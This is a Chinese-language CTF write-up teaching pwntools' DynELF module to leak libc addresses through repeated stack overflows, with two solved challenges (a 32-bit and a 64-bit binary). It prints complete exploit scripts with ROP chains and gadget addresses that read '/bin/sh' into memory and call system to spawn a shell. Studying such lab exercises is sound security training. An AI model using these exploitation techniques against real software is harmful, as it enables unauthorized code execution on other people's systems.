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通过信息泄露获取libc版本和地址

有一些pwn题目中我们可以找到很明显的溢出，但程序中并没有system函数，也没有给出libc版本。但我们可以通过反复的溢出
打印一些内存的值来在内存中搜索system的地址，这里主要使用的工具是pwntools中的D以内ELF模块。

DynELF模块介绍

DynELF模块需要我们编写一个可以反复利用的打印一段内存中内容的函数，可以是函数中的while(1)，或者是溢出较长可以劫

持write函数后再返回main重新来过。形如：

def leak(address):
    payload1 = 'a'*n+p32(plt_write)+p32(main_addr)+p32(1)+p32(address)+p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

覆盖返回地址为write后控制write后返回main继续，后面是write的三个参数，fd值1，需要打印的地址和打印长度。
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然后选定一个elf文件，使用DnyELF模块：

e=ELF("./pwn")       #设定一个elf文件
d=DynELF(leak,elf=e) #使用DnyELF
sys_add=d.lookup("system","libc")  #搜索system地址

大概使用方法就是这样，不过不可以用它来寻找"/bin/sh"，具体用法请参考官方文档。使用两个例子来了解：

pwn200 writeup

题目地址：pwn200

查看安全策略：

基本没开什么安全策略，然后查看反汇编：

先输出一句话，执行之后是Welcome to XDCTF2015~!，然后调用有漏洞的函数：

buf长度只有0x6c，但却读了0x100的数据，很明显的溢出，除此之外这个程序之中并没有什么其他值得注意的地方了。

首先我们当务之急是获得system的地址，然后获得system的地址之后，由于DynELF不能搜索"/bin/sh"字符串，我们只能调用
read自己读入，然后通过溢出执行system("/bin/sh")。

获取system，仿造上面DynELF的用法写了如下函数：
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def leak(addr):
    p.recv()
    payload='a'*0x70+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    data=p.recv(4)
    return data

开始是一个recv()是因为这个程序执行刚开始就是一个输出，而我们每次执行之后都让它返回给main重新执行，然后又会有一个
输出，为了保证每一次都能完整利用，recv()卸载了函数内部。

然后构造payload：pattern长度0x70（buf0x6c和覆盖栈底的前ebp所以0x6c+4），然后劫持eip位write，之后是write执行之后返
回main重新溢出，后面的三个是write的参数。

之后发送payload接受四个字节输出地址字后返回。

需要注意的问题就是，为什么write返回给main而不是read溢出的那个函数，关于这个问题，好多这个类型的题目都会出

现，有的题目直接返回给漏洞函数没有问题，但有的题目就会造成执行几次后有异常。怀疑是由于执行次数太多栈的位

置变得很奇怪（其实我也说不太清楚，总之毕竟是非法执行，总会出问题），有时候还需要在最终利用之前返回到start
的地址重置一次栈，反正根据实际情况多试验几次总会找到正确的方法。start重置栈：

获取了system之后就调用read读入binsh然后直接返回到system执行，但这里如果直接返回就需要将read函数的三个参数清理

掉，所以我们又需要一个连续三个pop接一个ret的gadget，在main函数末尾就能找到：

拼接在一起：

payload='a'*0x70+p32(read_addr)+p32(pppt_addr)+p32(0)+p32(binsh_addr)+p32(8)+p32(sys_add)+p32(0)+p32(binsh_addr)

pattern之后劫持eip位read的地址，然后read执行之后返回三个pop的地方清理read的参数，然后返回到system，所以system之
前是read的三个参数，之后是system的返回地址，但我们不需要这个，随便填就可以，然后是system的参数，binsh的地址。

最后的exp如下：



from pwn import *

p=process("./d8f17993fef040a594ba1575577802cc")
elf1=ELF("./d8f17993fef040a594ba1575577802cc")

write_addr=elf1.symbols['write']
read_addr=elf1.symbols['read']
main_addr=0x80484BE               #main函数地址
binsh_addr=0x804A020              #写入/bin/sh的地址
pppt_addr=0x0804856C              #pppt的地址

def leak(addr):
    p.recv()
    payload='a'*0x70+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    data=p.recv(4)
    #print data
    return data

d=DynELF(leak,elf=elf1)
sys_add=d.lookup("system","libc")   #搜索system的地址

p.recv()
payload='a'*0x70+p32(read_addr)+p32(pppt_addr)+p32(0)+p32(binsh_addr)+p32(3)+p32(sys_add)+p32(0)+p32(binsh_addr)
p.sendline(payload)      
p.sendline("sh\x00")    #调用read之后把“/sh”字符串发送过去
p.interactive()



成功：

值得注意的是这里并没有选择输入 /bin/sh\x008个字符，而是选择读入"sh\x00三个字符，还有就是读入地址的问题。大

部分情况需要我们自己输入"/bin/sh"的情况下都会选择输入到bss段，bss段是存放程序中未初始化的或者初始化为0的
全局变量和静态变量的一块内存区域。虽然大部分情况都没有问题，但有时候也会造成程序执行出错，所以我都是能尽

量少写东西就少写，还有就是，执行完read之后如果可以直接接system就直接system不要返回到main再重新执行，因为

回到程序开始重新执行难免会用到你修改的值或者改变你写入得那个地方的值，造成最后程序出错或者拿不到shell，还
是那句话，毕竟是非法越小心越好，没有必要就不画蛇添足。即使这样，有的时候还会只执行一次命令就EOF退出，具

体原因我也说不清楚，总之不稳定。

一次命令退出：

pwn100 writeup



题目地址：pwn100

首先查看安全策略：

开启了NX和Partial RELRO。接下来看一下代码逻辑，非常简单：

代码逻辑非常简单，就是一个溢出，然后啥也没了，也啥也没给。没给libc版本。所以我们应该构造一个循环的rop链能让它输出
地址，然后使用DynELF来计算出system的实际地址，最后还需要读入一个"/bin/sh"来getshell。

需要的函数都是有的，有puts和read，但我们还需要几个gadget，因为这是一个64位函数，参数是放在rdi，rsi，rdx之中。这里
就要用到通用gadget了，好在这个程序之中有：

一共有三段通用gadget，其中第三段pop r15稍加变形就是pop rdi。首先构造leak函数，遇到的问题就是我们只能使用puts来输
出地址，而puts遇到\x00就会停止，所以每次输出多少我们并不确定，我们需要写一个能根据puts输出数量补齐或者截取的代
码，由于这个原因，DynELF会通过大量的调用才能精确计算出system的地址，所以我们每次返回都要到start的地址，要不会让
栈耗尽。具体函数如下：
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rdiret_addr=0x400763   #pop rdi;ret
def leak(addr):
    #48个padding然后是pop rdi的gadget，然后就是puts要输出的地址，转到puts函数，最后返回start重新处初始化栈
    payload='a'*0x48+p64(rdiret_addr)+p64(addr)+p64(puts_addr)+p64(start_addr)
    payload=payload.ljust(200,'a')
    p.send(payload)
    p.recvuntil("bye~\n")
    count = 0
    up = ''
    countent = ''
    while True:
        c = p.recv( numb= 1 ,timeout = 0.1)
        count += 1
        if up == '\n' and c == "":
            countent = countent[:-1] + '\x00'
            break
        else:
            countent += c 
            up = c
    countent = countent[:4]
    log.info("%#x => %s"%(addr,(countent or '').encode('hex')))
    return countent

接下来使用前两个gadget来调用read，具体顺序如下：

payload='a'*0x48            #padding
payload+=p64(ppppppr_addr) #六个pop然后ret
payload+=p64(0)    #第一个pop给rbx，之后要call[r12+rbx*8]，所以这里让rbx为0
payload+=p64(1)    #第二个pop给rbp，call结束之后要和rbx+1对比，要相等才能继续
payload+=p64(read_addr)  #第三个pop给r12，之后要call[r12+rbx*8]
payload+=p64(8)    #第四个pop给r13，之后要mov给rdx，read第三个参数，8
payload+=p64(binsh_addr) #第五个pop给r14，之后要mov给rsi，read第二个参数，binsh地址
payload+=p64(0)    #第六个pop给r15，之后要mov给rdi，read第一个参数，0
payload+=p64(mmmc_addr)  #然后是另一段gadget，将三个参数mov了并调用[r12+rbx*8]
payload+='a'*56    #调用结束之后还要继续执行到ret，这期间有6个pop和一个add rsp
payload+=p64(start_addr) #返回到start

关于细节，这里给rbx为0是方便计算call的地址，然后给rbp为1是因为在call之后需要对比rbx+1和rbp的值，相等才能继续，不相
等会跳到奇怪的地方。而我们要让他继续执行到返回，所以这之间有六个pop和一个add rsp 8所以我们还需要在这之间的栈中留
下7*8=56的padding。然后就很简单了，具体exp设计如下，需要注意的是，每次读都是固定200个字符，所以我们还需将
payload补齐：



from pwn import *

p=process("./f813b3352e834197a8872970fd2fbce4")
elf=ELF("./f813b3352e834197a8872970fd2fbce4")
puts_addr = elf.plt['puts']
read_addr = elf.got['read']

rdiret_addr=0x400763    #gadget地址
ppppppr_addr=0x40075A #gadget地址
mmmc_addr=0x400740  #gadget地址
binsh_addr=0x601088  #写binsh的地址
start_addr=0x400550  #start地址

def leak(addr):
    payload='a'*0x48+p64(rdiret_addr)+p64(addr)+p64(puts_addr)+p64(start_addr)
    payload=payload.ljust(200,'a')
    p.send(payload)
    p.recvuntil("bye~\n")
    count = 0
    up = ''
    countent = ''
    while True:
        c = p.recv( numb= 1 ,timeout = 0.1)
        count += 1
        if up == '\n' and c == "":
            countent = countent[:-1] + '\x00'
            break
        else:
            countent += c 
            up = c
    countent = countent[:4]
    log.info("%#x => %s"%(addr,(countent or '').encode('hex')))
    return countent

d=DynELF(leak,elf=elf)
sys_addr=d.lookup("system","libc")

payload='a'*0x48+p64(ppppppr_addr)+p64(0)+p64(1)+p64(read_addr)+p64(8)+p64(binsh_addr)+p64(0)+p64(mmmc_addr)+ 'a
'*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")  #写入/bin/sh

payload='a'*0x48+p64(rdiret_addr)+p64(binsh_addr)+p64(sys_addr) #getshell
payload=payload.ljust(200,'a')
p.send(payload)

p.interactive()



成功：
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